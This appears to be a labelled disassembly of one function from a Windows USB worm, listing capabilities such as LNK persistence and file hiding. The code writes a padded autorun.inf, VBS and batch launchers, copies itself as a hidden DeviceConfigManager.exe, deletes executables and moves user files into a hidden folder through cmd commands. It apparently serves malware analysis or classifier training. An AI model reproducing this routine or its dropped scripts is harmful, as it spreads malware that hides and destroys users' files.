Function at 0x4019b0
Capabilities:
Check if file exists
Copy file
Create directory
Create process on windows
Delete file
Enumerate files on windows
Get file attributes
Persist via lnk shortcut
Set file attributes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc68
call dword [sym.imp.KERNEL32.dll_GetTickCount]
push eax
call sub.MSVCRT.dll_srand
add esp, 4
push 0x104
push 0
lea eax, [ebp - 0x778]
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
push 0x104
push 0
lea ecx, [ebp - 0x460]
push ecx
call sub.MSVCRT.dll_memset
add esp, 0xc
push 0x104
push 0
lea edx, [ebp - 0xa98]
push edx
call sub.MSVCRT.dll_memset
add esp, 0xc
push 0x104
push 0
lea eax, [ebp - 0x670]
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
push 0x104
push 0
lea ecx, [ebp - 0x358]
push ecx
call sub.MSVCRT.dll_memset
add esp, 0xc
push 0x104
push 0
lea edx, [ebp - 0x990]
push edx
call sub.MSVCRT.dll_memset
add esp, 0xc
push 0x104
push 0
lea eax, [ebp - 0x568]
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
push 0x104
push 0
lea ecx, [ebp - 0x888]
push ecx
call sub.MSVCRT.dll_memset
add esp, 0xc
mov edx, dword [ebp + 8]
push edx
push 0x406450
lea eax, [ebp - 0x778]
push eax
call sub.MSVCRT.dll_sprintf
add esp, 0xc
mov ecx, dword [ebp + 0xc]
push ecx
mov edx, dword [ebp + 8]
push edx
push str._s_s.lnk
lea eax, [ebp - 0xa98]
push eax
call sub.MSVCRT.dll_sprintf
add esp, 0x10
mov ecx, dword [ebp + 0xc]
push ecx
push str._s.lnk
lea edx, [ebp - 0x888]
push edx
call sub.MSVCRT.dll_sprintf
add esp, 0xc
mov eax, dword [ebp + 8]
push eax
push str._sautorun.inf
lea ecx, [ebp - 0x990]
push ecx
call sub.MSVCRT.dll_sprintf
add esp, 0xc
mov edx, dword [ebp + 8]
push edx
push str._s_
lea eax, [ebp - 0x460]
push eax
call sub.MSVCRT.dll_sprintf
add esp, 0xc
mov ecx, dword [ebp + 8]
push ecx
push str._s_DeviceConfigManager.exe
lea edx, [ebp - 0x568]
push edx
call sub.MSVCRT.dll_sprintf
add esp, 0xc
mov eax, dword [ebp + 8]
push eax
push str._sDeviceConfigManager.vbs
lea ecx, [ebp - 0x670]
push ecx
call sub.MSVCRT.dll_sprintf
add esp, 0xc
mov edx, dword [ebp + 8]
push edx
push str._sDeviceConfigManager.bat
lea eax, [ebp - 0x358]
push eax
call sub.MSVCRT.dll_sprintf
add esp, 0xc
lea ecx, [ebp - 0x670]
push ecx
call dword [sym.imp.SHLWAPI.dll_PathFileExistsA]
test eax, eax
jne 0x4021ef
lea edx, [ebp - 0x990]
push edx
call dword [sym.imp.SHLWAPI.dll_PathFileExistsA]
test eax, eax
je 0x401b81
push 0x80
lea eax, [ebp - 0x990]
push eax
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
lea ecx, [ebp - 0x990]
push ecx
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
push 0x4064d8
lea edx, [ebp - 0x670]
push edx
call sub.MSVCRT.dll_fopen
add esp, 8
mov dword [ebp - 0x10c], eax
cmp dword [ebp - 0x10c], 0
je 0x4021ef
push 0x64
push 0
lea eax, [ebp - 0xb00]
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
push 0xa
call fcn.004038c0
add esp, 4
push eax
lea ecx, [ebp - 0xb00]
push ecx
call sub.MSVCRT.dll_strcpy
add esp, 8
lea edx, [ebp - 0xb00]
push edx
push 0x4064dc
mov eax, dword [ebp - 0x10c]
push eax
call sub.MSVCRT.dll_fprintf
add esp, 0xc
mov dword [ebp - 0xb04], 0
jmp 0x401c0b
mov ecx, dword [ebp - 0xb04]
add ecx, 1
mov dword [ebp - 0xb04], ecx
call sub.MSVCRT.dll_rand
cdq
mov ecx, 0x1f4
idiv ecx
add edx, 0x64
cmp dword [ebp - 0xb04], edx
jge 0x401c57
call sub.MSVCRT.dll_rand
and eax, 0x80000007
jns 0x401c34
dec eax
or eax, 0xfffffff8
inc eax
add eax, 7
push eax
call fcn.004038c0
add esp, 4
push eax
push 0x4064e4
mov edx, dword [ebp - 0x10c]
push edx
call sub.MSVCRT.dll_fprintf
add esp, 0xc
jmp 0x401bfc
mov dword [ebp - 0xb08], 0
jmp 0x401c72
mov eax, dword [ebp - 0xb08]
add eax, 1
mov dword [ebp - 0xb08], eax
call sub.MSVCRT.dll_rand
cdq
mov ecx, 0x1f4
idiv ecx
add edx, 0x64
cmp dword [ebp - 0xb08], edx
jge 0x401cdc
call sub.MSVCRT.dll_rand
and eax, 0x80000007
jns 0x401c9b
dec eax
or eax, 0xfffffff8
inc eax
add eax, 7
push eax
call fcn.004038c0
add esp, 4
push eax
call sub.MSVCRT.dll_rand
and eax, 0x80000007
jns 0x401cb9
dec eax
or eax, 0xfffffff8
inc eax
add eax, 7
push eax
call fcn.004038c0
add esp, 4
push eax
push 0x4064ec
mov edx, dword [ebp - 0x10c]
push edx
call sub.MSVCRT.dll_fprintf
add esp, 0x10
jmp 0x401c63
mov dword [ebp - 0xb0c], 0
jmp 0x401cf7
mov eax, dword [ebp - 0xb0c]
add eax, 1
mov dword [ebp - 0xb0c], eax
call sub.MSVCRT.dll_rand
cdq
mov ecx, 0x1f4
idiv ecx
add edx, 0x64
cmp dword [ebp - 0xb0c], edx
jge 0x401d54
call sub.MSVCRT.dll_rand
cdq
mov ecx, 0x64
idiv ecx
add edx, 0xa
push edx
call sub.MSVCRT.dll_rand
and eax, 0x80000007
jns 0x401d31
dec eax
or eax, 0xfffffff8
inc eax
add eax, 7
push eax
call fcn.004038c0
add esp, 4
push eax
push 0x4064fc
mov edx, dword [ebp - 0x10c]
push edx
call sub.MSVCRT.dll_fprintf
add esp, 0x10
jmp 0x401ce8
lea eax, [ebp - 0xb00]
push eax
push str.Set__s__wscript.CreateObject__WScript.Shell___n
mov ecx, dword [ebp - 0x10c]
push ecx
call sub.MSVCRT.dll_fprintf
add esp, 0xc
mov dword [ebp - 0xb10], 0
jmp 0x401d8a
mov edx, dword [ebp - 0xb10]
add edx, 1
mov dword [ebp - 0xb10], edx
call sub.MSVCRT.dll_rand
cdq
mov ecx, 0x1f4
idiv ecx
add edx, 0x64
cmp dword [ebp - 0xb10], edx
jge 0x401dd6
call sub.MSVCRT.dll_rand
and eax, 0x80000007
jns 0x401db3
dec eax
or eax, 0xfffffff8
inc eax
add eax, 7
push eax
call fcn.004038c0
add esp, 4
push eax
push 0x406538
mov edx, dword [ebp - 0x10c]
push edx
call sub.MSVCRT.dll_fprintf
add esp, 0xc
jmp 0x401d7b
mov dword [ebp - 0xb14], 0
jmp 0x401df1
mov eax, dword [ebp - 0xb14]
add eax, 1
mov dword [ebp - 0xb14], eax
call sub.MSVCRT.dll_rand
cdq
mov ecx, 0x1f4
idiv ecx
add edx, 0x64
cmp dword [ebp - 0xb14], edx
jge 0x401e5b
call sub.MSVCRT.dll_rand
and eax, 0x80000007
jns 0x401e1a
dec eax
or eax, 0xfffffff8
inc eax
add eax, 7
push eax
call fcn.004038c0
add esp, 4
push eax
call sub.MSVCRT.dll_rand
and eax, 0x80000007
jns 0x401e38
dec eax
or eax, 0xfffffff8
inc eax
add eax, 7
push eax
call fcn.004038c0
add esp, 4
push eax
push 0x406540
mov edx, dword [ebp - 0x10c]
push edx
call sub.MSVCRT.dll_fprintf
add esp, 0x10
jmp 0x401de2
mov dword [ebp - 0xb18], 0
jmp 0x401e76
mov eax, dword [ebp - 0xb18]
add eax, 1
mov dword [ebp - 0xb18], eax
call sub.MSVCRT.dll_rand
cdq
mov ecx, 0x1f4
idiv ecx
add edx, 0x64
cmp dword [ebp - 0xb18], edx
jge 0x401ed3
call sub.MSVCRT.dll_rand
cdq
mov ecx, 0x64
idiv ecx
add edx, 0xa
push edx
call sub.MSVCRT.dll_rand
and eax, 0x80000007
jns 0x401eb0
dec eax
or eax, 0xfffffff8
inc eax
add eax, 7
push eax
call fcn.004038c0
add esp, 4
push eax
push 0x406550
mov edx, dword [ebp - 0x10c]
push edx
call sub.MSVCRT.dll_fprintf
add esp, 0x10
jmp 0x401e67
lea eax, [ebp - 0xb00]
push eax
push str._s.Run__DeviceConfigManager.bat___2_n
mov ecx, dword [ebp - 0x10c]
push ecx
call sub.MSVCRT.dll_fprintf
add esp, 0xc
mov dword [ebp - 0xb1c], 0
jmp 0x401f09
mov edx, dword [ebp - 0xb1c]
add edx, 1
mov dword [ebp - 0xb1c], edx
call sub.MSVCRT.dll_rand
cdq
mov ecx, 0x1f4
idiv ecx
add edx, 0x64
cmp dword [ebp - 0xb1c], edx
jge 0x401f55
call sub.MSVCRT.dll_rand
and eax, 0x80000007
jns 0x401f32
dec eax
or eax, 0xfffffff8
inc eax
add eax, 7
push eax
call fcn.004038c0
add esp, 4
push eax
push 0x406584
mov edx, dword [ebp - 0x10c]
push edx
call sub.MSVCRT.dll_fprintf
add esp, 0xc
jmp 0x401efa
mov dword [ebp - 0xb20], 0
jmp 0x401f70
mov eax, dword [ebp - 0xb20]
add eax, 1
mov dword [ebp - 0xb20], eax
call sub.MSVCRT.dll_rand
cdq
mov ecx, 0x1f4
idiv ecx
add edx, 0x64
cmp dword [ebp - 0xb20], edx
jge 0x401fda
call sub.MSVCRT.dll_rand
and eax, 0x80000007
jns 0x401f99
dec eax
or eax, 0xfffffff8
inc eax
add eax, 7
push eax
call fcn.004038c0
add esp, 4
push eax
call sub.MSVCRT.dll_rand
and eax, 0x80000007
jns 0x401fb7
dec eax
or eax, 0xfffffff8
inc eax
add eax, 7
push eax
call fcn.004038c0
add esp, 4
push eax
push 0x40658c
mov edx, dword [ebp - 0x10c]
push edx
call sub.MSVCRT.dll_fprintf
add esp, 0x10
jmp 0x401f61
mov dword [ebp - 0xb24], 0
jmp 0x401ff5
mov eax, dword [ebp - 0xb24]
add eax, 1
mov dword [ebp - 0xb24], eax
call sub.MSVCRT.dll_rand
cdq
mov ecx, 0x1f4
idiv ecx
add edx, 0x64
cmp dword [ebp - 0xb24], edx
jge 0x402052
call sub.MSVCRT.dll_rand
cdq
mov ecx, 0x64
idiv ecx
add edx, 0xa
push edx
call sub.MSVCRT.dll_rand
and eax, 0x80000007
jns 0x40202f
dec eax
or eax, 0xfffffff8
inc eax
add eax, 7
push eax
call fcn.004038c0
add esp, 4
push eax
push 0x40659c
mov edx, dword [ebp - 0x10c]
push edx
call sub.MSVCRT.dll_fprintf
add esp, 0x10
jmp 0x401fe6
lea eax, [ebp - 0xb00]
push eax
push str._s.SendKeys____F4__n
mov ecx, dword [ebp - 0x10c]
push ecx
call sub.MSVCRT.dll_fprintf
add esp, 0xc
mov dword [ebp - 0xb28], 0
jmp 0x402088
mov edx, dword [ebp - 0xb28]
add edx, 1
mov dword [ebp - 0xb28], edx
call sub.MSVCRT.dll_rand
cdq
mov ecx, 0x1f4
idiv ecx
add edx, 0x64
cmp dword [ebp - 0xb28], edx
jge 0x4020d4
call sub.MSVCRT.dll_rand
and eax, 0x80000007
jns 0x4020b1
dec eax
or eax, 0xfffffff8
inc eax
add eax, 7
push eax
call fcn.004038c0
add esp, 4
push eax
push str.Dim__s_n
mov edx, dword [ebp - 0x10c]
push edx
call sub.MSVCRT.dll_fprintf
add esp, 0xc
jmp 0x402079
mov dword [ebp - 0xb2c], 0
jmp 0x4020ef
mov eax, dword [ebp - 0xb2c]
add eax, 1
mov dword [ebp - 0xb2c], eax
call sub.MSVCRT.dll_rand
cdq
mov ecx, 0x1f4
idiv ecx
add edx, 0x64
cmp dword [ebp - 0xb2c], edx
jge 0x402159
call sub.MSVCRT.dll_rand
and eax, 0x80000007
jns 0x402118
dec eax
or eax, 0xfffffff8
inc eax
add eax, 7
push eax
call fcn.004038c0
add esp, 4
push eax
call sub.MSVCRT.dll_rand
and eax, 0x80000007
jns 0x402136
dec eax
or eax, 0xfffffff8
inc eax
add eax, 7
push eax
call fcn.004038c0
add esp, 4
push eax
push str._s____s.exe__n
mov edx, dword [ebp - 0x10c]
push edx
call sub.MSVCRT.dll_fprintf
add esp, 0x10
jmp 0x4020e0
mov dword [ebp - 0xb30], 0
jmp 0x402174
mov eax, dword [ebp - 0xb30]
add eax, 1
mov dword [ebp - 0xb30], eax
call sub.MSVCRT.dll_rand
cdq
mov ecx, 0x1f4
idiv ecx
add edx, 0x64
cmp dword [ebp - 0xb30], edx
jge 0x4021d1
call sub.MSVCRT.dll_rand
cdq
mov ecx, 0x64
idiv ecx
add edx, 0xa
push edx
call sub.MSVCRT.dll_rand
and eax, 0x80000007
jns 0x4021ae
dec eax
or eax, 0xfffffff8
inc eax
add eax, 7
push eax
call fcn.004038c0
add esp, 4
push eax
push str._s___d_n
mov edx, dword [ebp - 0x10c]
push edx
call sub.MSVCRT.dll_fprintf
add esp, 0x10
jmp 0x402165
mov eax, dword [ebp - 0x10c]
push eax
call sub.MSVCRT.dll_fclose
add esp, 4
push 7
lea ecx, [ebp - 0x670]
push ecx
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
lea edx, [ebp - 0x358]
push edx
call dword [sym.imp.SHLWAPI.dll_PathFileExistsA]
test eax, eax
jne 0x402469
push 0x4065e4
lea eax, [ebp - 0x358]
push eax
call sub.MSVCRT.dll_fopen
add esp, 8
mov dword [ebp - 0x10c], eax
cmp dword [ebp - 0x10c], 0
je 0x402469
push str._echo_off_n
mov ecx, dword [ebp - 0x10c]
push ecx
call sub.MSVCRT.dll_fprintf
add esp, 8
push str.if_exist___start________n
mov edx, dword [ebp - 0x10c]
push edx
call sub.MSVCRT.dll_fprintf
add esp, 8
mov dword [ebp - 0xb34], 0
jmp 0x40226e
mov eax, dword [ebp - 0xb34]
add eax, 1
mov dword [ebp - 0xb34], eax
call sub.MSVCRT.dll_rand
cdq
mov ecx, 0x1388
idiv ecx
add edx, 0x3e8
cmp dword [ebp - 0xb34], edx
jge 0x4022bd
call sub.MSVCRT.dll_rand
and eax, 0x80000007
jns 0x40229a
dec eax
or eax, 0xfffffff8
inc eax
add eax, 7
push eax
call fcn.004038c0
add esp, 4
push eax
push 0x406610
mov edx, dword [ebp - 0x10c]
push edx
call sub.MSVCRT.dll_fprintf
add esp, 0xc
jmp 0x40225f
push str.tasklist__FI__IMAGENAME_eq_winmgr.exe__2_nul__find__I__N__winmgr.exe___nul_n
mov eax, dword [ebp - 0x10c]
push eax
call sub.MSVCRT.dll_fprintf
add esp, 8
push str.if____ERRORLEVEL____0__exit_n
mov ecx, dword [ebp - 0x10c]
push ecx
call sub.MSVCRT.dll_fprintf
add esp, 8
mov dword [ebp - 0xb38], 0
jmp 0x402300
mov edx, dword [ebp - 0xb38]
add edx, 1
mov dword [ebp - 0xb38], edx
call sub.MSVCRT.dll_rand
cdq
mov ecx, 0x1388
idiv ecx
add edx, 0x3e8
cmp dword [ebp - 0xb38], edx
jge 0x40234f
call sub.MSVCRT.dll_rand
and eax, 0x80000007
jns 0x40232c
dec eax
or eax, 0xfffffff8
inc eax
add eax, 7
push eax
call fcn.004038c0
add esp, 4
push eax
push 0x406614
mov edx, dword [ebp - 0x10c]
push edx
call sub.MSVCRT.dll_fprintf
add esp, 0xc
jmp 0x4022f1
push str.if_exist__DeviceConfigManager.exe_start__DeviceConfigManager.exe_n
mov eax, dword [ebp - 0x10c]
push eax
call sub.MSVCRT.dll_fprintf
add esp, 8
mov dword [ebp - 0xb3c], 0
jmp 0x40237e
mov ecx, dword [ebp - 0xb3c]
add ecx, 1
mov dword [ebp - 0xb3c], ecx
call sub.MSVCRT.dll_rand
cdq
mov ecx, 0x1388
idiv ecx
add edx, 0x3e8
cmp dword [ebp - 0xb3c], edx
jge 0x4023cd
call sub.MSVCRT.dll_rand
and eax, 0x80000007
jns 0x4023aa
dec eax
or eax, 0xfffffff8
inc eax
add eax, 7
push eax
call fcn.004038c0
add esp, 4
push eax
push 0x4066cc
mov edx, dword [ebp - 0x10c]
push edx
call sub.MSVCRT.dll_fprintf
add esp, 0xc
jmp 0x40236f
push str.exit_n
mov eax, dword [ebp - 0x10c]
push eax
call sub.MSVCRT.dll_fprintf
add esp, 8
mov dword [ebp - 0xb40], 0
jmp 0x4023fc
mov ecx, dword [ebp - 0xb40]
add ecx, 1
mov dword [ebp - 0xb40], ecx
call sub.MSVCRT.dll_rand
cdq
mov ecx, 0x1388
idiv ecx
add edx, 0x3e8
cmp dword [ebp - 0xb40], edx
jge 0x40244b
call sub.MSVCRT.dll_rand
and eax, 0x80000007
jns 0x402428
dec eax
or eax, 0xfffffff8
inc eax
add eax, 7
push eax
call fcn.004038c0
add esp, 4
push eax
push 0x4066d8
mov edx, dword [ebp - 0x10c]
push edx
call sub.MSVCRT.dll_fprintf
add esp, 0xc
jmp 0x4023ed
mov eax, dword [ebp - 0x10c]
push eax
call sub.MSVCRT.dll_fclose
add esp, 4
push 7
lea ecx, [ebp - 0x358]
push ecx
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
lea edx, [ebp - 0x990]
push edx
call dword [sym.imp.SHLWAPI.dll_PathFileExistsA]
test eax, eax
jne 0x402725
push 0x4066dc
lea eax, [ebp - 0x990]
push eax
call sub.MSVCRT.dll_fopen
add esp, 8
mov dword [ebp - 0x10c], eax
cmp dword [ebp - 0x10c], 0
je 0x402725
mov dword [ebp - 0xb44], 0
jmp 0x4024c0
mov ecx, dword [ebp - 0xb44]
add ecx, 1
mov dword [ebp - 0xb44], ecx
call sub.MSVCRT.dll_rand
cdq
mov ecx, 0x1388
idiv ecx
add edx, 0x3e8
cmp dword [ebp - 0xb44], edx
jge 0x40250f
call sub.MSVCRT.dll_rand
and eax, 0x80000007
jns 0x4024ec
dec eax
or eax, 0xfffffff8
inc eax
add eax, 7
push eax
call fcn.004038c0
add esp, 4
push eax
push 0x4066e0
mov edx, dword [ebp - 0x10c]
push edx
call sub.MSVCRT.dll_fprintf
add esp, 0xc
jmp 0x4024b1
push str._autorun__n
mov eax, dword [ebp - 0x10c]
push eax
call sub.MSVCRT.dll_fprintf
add esp, 8
mov dword [ebp - 0xb48], 0
jmp 0x40253e
mov ecx, dword [ebp - 0xb48]
add ecx, 1
mov dword [ebp - 0xb48], ecx
call sub.MSVCRT.dll_rand
cdq
mov ecx, 0x1388
idiv ecx
add edx, 0x3e8
cmp dword [ebp - 0xb48], edx
jge 0x40258d
call sub.MSVCRT.dll_rand
and eax, 0x80000007
jns 0x40256a
dec eax
or eax, 0xfffffff8
inc eax
add eax, 7
push eax
call fcn.004038c0
add esp, 4
push eax
push 0x4066f0
mov edx, dword [ebp - 0x10c]
push edx
call sub.MSVCRT.dll_fprintf
add esp, 0xc
jmp 0x40252f
push str.icon__SystemRoot___system32SHELL32.dll_4_n
mov eax, dword [ebp - 0x10c]
push eax
call sub.MSVCRT.dll_fprintf
add esp, 8
mov dword [ebp - 0xb4c], 0
jmp 0x4025bc
mov ecx, dword [ebp - 0xb4c]
add ecx, 1
mov dword [ebp - 0xb4c], ecx
call sub.MSVCRT.dll_rand
cdq
mov ecx, 0x1388
idiv ecx
add edx, 0x3e8
cmp dword [ebp - 0xb4c], edx
jge 0x40260b
call sub.MSVCRT.dll_rand
and eax, 0x80000007
jns 0x4025e8
dec eax
or eax, 0xfffffff8
inc eax
add eax, 7
push eax
call fcn.004038c0
add esp, 4
push eax
push 0x406720
mov edx, dword [ebp - 0x10c]
push edx
call sub.MSVCRT.dll_fprintf
add esp, 0xc
jmp 0x4025ad
push str.openwscript.exe_DeviceConfigManager.vbs_n
mov eax, dword [ebp - 0x10c]
push eax
call sub.MSVCRT.dll_fprintf
add esp, 8
mov dword [ebp - 0xb50], 0
jmp 0x40263a
mov ecx, dword [ebp - 0xb50]
add ecx, 1
mov dword [ebp - 0xb50], ecx
call sub.MSVCRT.dll_rand
cdq
mov ecx, 0x1388
idiv ecx
add edx, 0x3e8
cmp dword [ebp - 0xb50], edx
jge 0x402689
call sub.MSVCRT.dll_rand
and eax, 0x80000007
jns 0x402666
dec eax
or eax, 0xfffffff8
inc eax
add eax, 7
push eax
call fcn.004038c0
add esp, 4
push eax
push 0x406750
mov edx, dword [ebp - 0x10c]
push edx
call sub.MSVCRT.dll_fprintf
add esp, 0xc
jmp 0x40262b
push str.UseAutoPlay1_n
mov eax, dword [ebp - 0x10c]
push eax
call sub.MSVCRT.dll_fprintf
add esp, 8
mov dword [ebp - 0xb54], 0
jmp 0x4026b8
mov ecx, dword [ebp - 0xb54]
add ecx, 1
mov dword [ebp - 0xb54], ecx
call sub.MSVCRT.dll_rand
cdq
mov ecx, 0x1388
idiv ecx
add edx, 0x3e8
cmp dword [ebp - 0xb54], edx
jge 0x402707
call sub.MSVCRT.dll_rand
and eax, 0x80000007
jns 0x4026e4
dec eax
or eax, 0xfffffff8
inc eax
add eax, 7
push eax
call fcn.004038c0
add esp, 4
push eax
push 0x406764
mov edx, dword [ebp - 0x10c]
push edx
call sub.MSVCRT.dll_fprintf
add esp, 0xc
jmp 0x4026a9
mov eax, dword [ebp - 0x10c]
push eax
call sub.MSVCRT.dll_fclose
add esp, 4
push 7
lea ecx, [ebp - 0x990]
push ecx
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
lea edx, [ebp - 0xa98]
push edx
call dword [sym.imp.SHLWAPI.dll_PathFileExistsA]
test eax, eax
jne 0x402795
movzx eax, byte [ebp + 0x10]
cmp eax, 1
jne 0x40276b
push 0
push 0
push 0
push 9
push 0x406768
push 0
push 0x406774
lea ecx, [ebp - 0x670]
push ecx
lea edx, [ebp - 0xa98]
push edx
call fcn.00401830
add esp, 0x24
jmp 0x402795
push 0
push 0
push 0
push 8
push str.shell32.dll
push 0
push 0x406784
lea eax, [ebp - 0x670]
push eax
lea ecx, [ebp - 0xa98]
push ecx
call fcn.00401830
add esp, 0x24
lea edx, [ebp - 0x460]
push edx
call dword [sym.imp.SHLWAPI.dll_PathFileExistsA]
test eax, eax
jne 0x4027c8
push 0
lea eax, [ebp - 0x460]
push eax
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
test eax, eax
je 0x4027c8
push 7
lea ecx, [ebp - 0x460]
push ecx
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
push 0x406788
lea edx, [ebp - 0x568]
push edx
call sub.MSVCRT.dll_fopen
add esp, 8
mov dword [ebp - 0xb58], eax
cmp dword [ebp - 0xb58], 0
je 0x40284f
push 2
push 0
mov eax, dword [ebp - 0xb58]
push eax
call sub.MSVCRT.dll_fseek
add esp, 0xc
mov ecx, dword [ebp - 0xb58]
push ecx
call sub.MSVCRT.dll_ftell
add esp, 4
mov dword [ebp - 0xb5c], eax
mov edx, dword [ebp - 0xb58]
push edx
call sub.MSVCRT.dll_fclose
add esp, 4
mov eax, dword [ebp - 0xb5c]
cmp eax, dword [0x409800]
je 0x40284f
push 0x80
lea ecx, [ebp - 0x568]
push ecx
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
lea edx, [ebp - 0x568]
push edx
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
lea eax, [ebp - 0x568]
push eax
call dword [sym.imp.SHLWAPI.dll_PathFileExistsA]
test eax, eax
jne 0x402883
push 0
lea ecx, [ebp - 0x568]
push ecx
push 0x409808
call dword [sym.imp.KERNEL32.dll_CopyFileA]
push 7
lea edx, [ebp - 0x568]
push edx
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
lea eax, [ebp - 0x250]
push eax
lea ecx, [ebp - 0x778]
push ecx
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
mov dword [ebp - 0x77c], eax
cmp dword [ebp - 0x77c], 0xffffffff
jne 0x4028ad
xor eax, eax
jmp 0x402cdf
push 0x40678c
lea edx, [ebp - 0x224]
push edx
call fcn.00401210
add esp, 8
test eax, eax
je 0x4028e8
lea eax, [ebp - 0x888]
push eax
lea ecx, [ebp - 0x224]
push ecx
call sub.MSVCRT.dll_strcmp
add esp, 8
neg eax
sbb eax, eax
add eax, 1
je 0x4029e9
push str..vbs
lea edx, [ebp - 0x224]
push edx
call fcn.00401210
add esp, 8
test eax, eax
je 0x402921
push 0x40679c
lea eax, [ebp - 0x224]
push eax
call sub.MSVCRT.dll_strcmp
add esp, 8
neg eax
sbb eax, eax
add eax, 1
je 0x4029e9
push 0x4067b4
lea ecx, [ebp - 0x224]
push ecx
call fcn.00401210
add esp, 8
test eax, eax
jne 0x4029e9
push str..scr
lea edx, [ebp - 0x224]
push edx
call fcn.00401210
add esp, 8
test eax, eax
jne 0x4029e9
push str..com
lea eax, [ebp - 0x224]
push eax
call fcn.00401210
add esp, 8
test eax, eax
jne 0x4029e9
push str..jse
lea ecx, [ebp - 0x224]
push ecx
call fcn.00401210
add esp, 8
test eax, eax
jne 0x4029e9
push str..cmd
lea edx, [ebp - 0x224]
push edx
call fcn.00401210
add esp, 8
test eax, eax
jne 0x4029e9
push str..pif
lea eax, [ebp - 0x224]
push eax
call fcn.00401210
add esp, 8
test eax, eax
jne 0x4029e9
push str..jar
lea ecx, [ebp - 0x224]
push ecx
call fcn.00401210
add esp, 8
test eax, eax
jne 0x4029e9
push str..dll
lea edx, [ebp - 0x224]
push edx
call fcn.00401210
add esp, 8
test eax, eax
je 0x402a3e
push 0x104
push 0
lea eax, [ebp - 0xa98]
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
lea ecx, [ebp - 0x224]
push ecx
mov edx, dword [ebp + 8]
push edx
push 0x4067f0
lea eax, [ebp - 0xa98]
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x10
push 0x80
lea ecx, [ebp - 0xa98]
push ecx
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
lea edx, [ebp - 0xa98]
push edx
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
lea eax, [ebp - 0x460]
push eax
call dword [sym.imp.SHLWAPI.dll_PathFileExistsA]
test eax, eax
je 0x402cb1
push str..lnk
lea ecx, [ebp - 0x224]
push ecx
call sub.MSVCRT.dll_strcmp
add esp, 8
neg eax
sbb eax, eax
add eax, 1
jne 0x402cb1
lea edx, [ebp - 0x888]
push edx
lea eax, [ebp - 0x224]
push eax
call sub.MSVCRT.dll_strcmp
add esp, 8
neg eax
sbb eax, eax
add eax, 1
jne 0x402cb1
push 0x406800
lea ecx, [ebp - 0x224]
push ecx
call sub.MSVCRT.dll_strcmp
add esp, 8
neg eax
sbb eax, eax
add eax, 1
jne 0x402cb1
push str.DeviceConfigManager.vbs
lea edx, [ebp - 0x224]
push edx
call sub.MSVCRT.dll_strcmp
add esp, 8
neg eax
sbb eax, eax
add eax, 1
jne 0x402cb1
push str.DeviceConfigManager.bat
lea eax, [ebp - 0x224]
push eax
call sub.MSVCRT.dll_strcmp
add esp, 8
neg eax
sbb eax, eax
add eax, 1
jne 0x402cb1
push str.autorun.inf
lea ecx, [ebp - 0x224]
push ecx
call sub.MSVCRT.dll_strcmp
add esp, 8
neg eax
sbb eax, eax
add eax, 1
jne 0x402cb1
push 0x104
push 0
lea edx, [ebp - 0x108]
push edx
call sub.MSVCRT.dll_memset
add esp, 0xc
push 0x104
push 0
lea eax, [ebp - 0xa98]
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
lea ecx, [ebp - 0x224]
push ecx
mov edx, dword [ebp + 8]
push edx
push 0x406840
lea eax, [ebp - 0x108]
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x10
lea ecx, [ebp - 0x224]
push ecx
mov edx, dword [ebp + 8]
push edx
push str._s__s
lea eax, [ebp - 0xa98]
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x10
push 0x80
lea ecx, [ebp - 0x108]
push ecx
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
lea edx, [ebp - 0xa98]
push edx
call dword [sym.imp.SHLWAPI.dll_PathFileExistsA]
test eax, eax
je 0x402c5f
lea eax, [ebp - 0x108]
push eax
call dword [sym.imp.SHLWAPI.dll_PathFileExistsA]
test eax, eax
je 0x402c5f
lea ecx, [ebp - 0xa98]
push ecx
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0x10
jne 0x402c52
push 0x406850
lea edx, [ebp - 0xa98]
push edx
call fcn.00401210
add esp, 8
test eax, eax
jne 0x402c50
push 0x406854
lea eax, [ebp - 0xa98]
push eax
call fcn.00401210
add esp, 8
test eax, eax
jne 0x402c50
push 0x104
push 0
lea ecx, [ebp - 0xc68]
push ecx
call sub.MSVCRT.dll_memset
add esp, 0xc
lea edx, [ebp - 0x108]
push edx
push str._c_rmdir__q__s___s_
lea eax, [ebp - 0xc68]
push eax
call sub.MSVCRT.dll_sprintf
add esp, 0xc
push 0
push 0
lea ecx, [ebp - 0xc68]
push ecx
push 0x40686c
push 0
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
jmp 0x402c5f
lea edx, [ebp - 0x108]
push edx
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
push 0x104
push 0
lea eax, [ebp - 0xc68]
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
lea ecx, [ebp - 0xa98]
push ecx
lea edx, [ebp - 0x108]
push edx
push str._c_move__y___s_____s_
lea eax, [ebp - 0xc68]
push eax
call sub.MSVCRT.dll_sprintf
add esp, 0x10
push 0
push 0
lea ecx, [ebp - 0xc68]
push ecx
push str.cmd.exe
push 0
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
lea edx, [ebp - 0x250]
push edx
mov eax, dword [ebp - 0x77c]
push eax
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
jne 0x4028ad
mov ecx, dword [ebp - 0x77c]
push ecx
call dword [sym.imp.KERNEL32.dll_FindClose]
mov eax, 1
